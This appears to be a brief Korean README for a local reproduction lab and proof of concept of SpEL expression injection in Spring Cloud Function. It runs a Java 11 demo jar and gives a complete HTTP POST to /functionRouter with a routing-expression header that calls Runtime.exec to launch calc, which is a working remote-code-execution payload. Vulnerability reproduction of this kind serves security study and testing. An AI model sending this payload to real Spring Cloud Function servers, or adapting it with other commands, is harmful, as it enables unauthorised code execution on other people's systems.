
Spring Cloud Function SpEL 주입으로 인한 원격 코드 실행을 유발하는 재현 환경 및 개념 증명으로, 실행 가능한 Java 11 데모와 HTTP 요청 예제를 포함합니다.
개인 블로그에서 자세한 내용을 확인할 수 있습니다 https://pizz33.github.io/
Spring Cloud Function SpEL 표현식 주입을 위한 테스트 환경
버전 java11, java -jar demo-0.0.1-SNAPSHOT.jar 명령으로 실행
구축 완료 후 127.0.0.1:8080 포트에 접속

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
xxx
